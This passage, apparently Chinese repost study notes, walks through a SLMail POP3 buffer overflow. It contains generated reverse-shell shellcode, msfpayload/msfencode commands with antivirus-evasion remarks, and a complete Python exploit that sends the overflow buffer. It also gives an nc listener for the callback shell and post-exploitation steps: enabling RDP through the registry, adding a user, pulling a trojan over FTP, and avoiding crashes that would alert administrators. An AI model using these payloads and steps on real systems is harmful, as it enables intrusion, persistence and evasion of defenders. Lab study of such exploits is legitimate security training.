"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
 
因為該shellcode不能存在壞字符,所以我們需要對壞字符進行過濾。
./msfencode -b【編碼工具,可將病毒的特征字符編得面目全非,一定程度上可以實現免殺】
root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C | ./msfencode -b "\x00\x0a\x0d"
root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"
[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98".
"\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3".
"\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb".
"\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27".
"\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46".
"\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f".
"\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf".
"\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75".
"\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68".
"\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9".
"\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0".
"\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0".
"\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c".
"\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9".
"\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f".
"\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75".
"\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e".
"\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65".
"\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc".
"\xcb\xc6\x3d\x5c\x48\x39";
 
09.py【“0x90”表示無操作,防止shellcode前部分代碼被擦除】
#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
shellcode = (
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xeb\xa3\x98"+
"\x39\x83\xeb\xfc\xe2\xf4\x17\xc9\x73\x74\x03\x5a\x67\xc6\x14\xc3"+
"\x13\x55\xcf\x87\x13\x7c\xd7\x28\xe4\x3c\x93\xa2\x77\xb2\xa4\xbb"+
"\x13\x66\xcb\xa2\x73\x70\x60\x97\x13\x38\x05\x92\x58\xa0\x47\x27"+
"\x58\x4d\xec\x62\x52\x34\xea\x61\x73\xcd\xd0\xf7\xbc\x11\x9e\x46"+
"\x13\x66\xcf\xa2\x73\x5f\x60\xaf\xd3\xb2\xb4\xbf\x99\xd2\xe8\x8f"+
"\x13\xb0\x87\x87\x84\x58\x28\x92\x43\x5d\x60\xe0\xa8\xb2\xab\xaf"+
"\x13\x49\xf7\x0e\x13\x79\xe3\xfd\xf0\xb7\xa5\xad\x74\x69\x14\x75"+
"\xfe\x6a\x8d\xcb\xab\x0b\x83\xd4\xeb\x0b\xb4\xf7\x67\xe9\x83\x68"+
"\x75\xc5\xd0\xf3\x67\xef\xb4\x2a\x7d\x5f\x6a\x4e\x90\x3b\xbe\xc9"+
"\x9a\xc6\x3b\xcb\x41\x30\x1e\x0e\xcf\xc6\x3d\xf0\xcb\x6a\xb8\xe0"+
"\xcb\x7a\xb8\x5c\x48\x51\x2b\x0b\x5f\x49\x8d\xcb\x99\x85\x8d\xf0"+
"\x11\xd8\x7e\xcb\x74\xc0\x41\xc3\xcf\xc6\x3d\xc9\x88\x68\xbe\x5c"+
"\x48\x5f\x81\xc7\xfe\x51\x88\xce\xf2\x69\xb2\x8a\x54\xb0\x0c\xc9"+
"\xdc\xb0\x09\x92\x58\xca\x41\x36\x11\xc4\x15\xe1\xb5\xc7\xa9\x8f"+
"\x15\x43\xd3\x08\x33\x92\x83\xd1\x66\x8a\xfd\x5c\xed\x11\x14\x75"+
"\xc3\x6e\xb9\xf2\xc9\x68\x81\xa2\xc9\x68\xbe\xf2\x67\xe9\x83\x0e"+
"\x41\x3c\x25\xf0\x67\xef\x81\x5c\x67\x0e\x14\x73\xf0\xde\x92\x65"+
"\xe1\xc6\x9e\xa7\x67\xef\x14\xd4\x64\xc6\x3b\xcb\x68\xb3\xef\xfc"+
"\xcb\xc6\x3d\x5c\x48\x39")
 
buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
s.close()
print "\nDone!."
except:
print "Could not connect to POP3!"
本地偵聽 nc -nvlp 444
發送shellcode,成功接收到回連的shell
# 可完美地重復連接,但有些shellcode執行結束會以exitprocess方式退出整個進程,將導致郵件服務奔潰,會引起管理員注意,不過新版本的metasploit已經進行優化。
 
##因Slmail是一個基於線程的應用,使用ExitThread方式可以避免整個服務崩潰,可是實現重復溢出
./msfpayload win32_reverse LHOST=192.168.1.127 EXITFUNC=thread LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"
############################################################################################
對命令行模式的getshell不適應,可進入圖形化界面
1、在此基礎上ftp下載一個圖形化木馬管理程序
2、使用RDP打開windows系統的遠程桌面【可通過修改注冊表鍵值】
cmd命令行下開啟3389
C:\>echo Windows Registry Editor Version 5.00>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
C:\>regedit /s 3389.reg
C:\>shutdown -r now
 
 
##在kali上安裝遠程桌面
apt-get install rdesktop
rdesktop 192.168.199.199
 
####
可在命令行窗口模式下修改用戶密碼,或增加用戶和密碼獲得管理權限
net user test pass /ad
 
打開防火牆的3389端口,也可以用修改注冊表來實現【windows系統下幾乎所有操作都可用修改注冊表來實現】
 
##可使用regsnap【進行注冊表實現現狀快照,可通過比較修改注冊表前后鍵值變化,找出具體目標,動作需快速】
 
在xp下安裝ptp
運行---appwiz.ctl---添加刪除windows組件
 
交互式shell
nc獲得的是非交互性shell,ftp無法執行
使用tftp
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM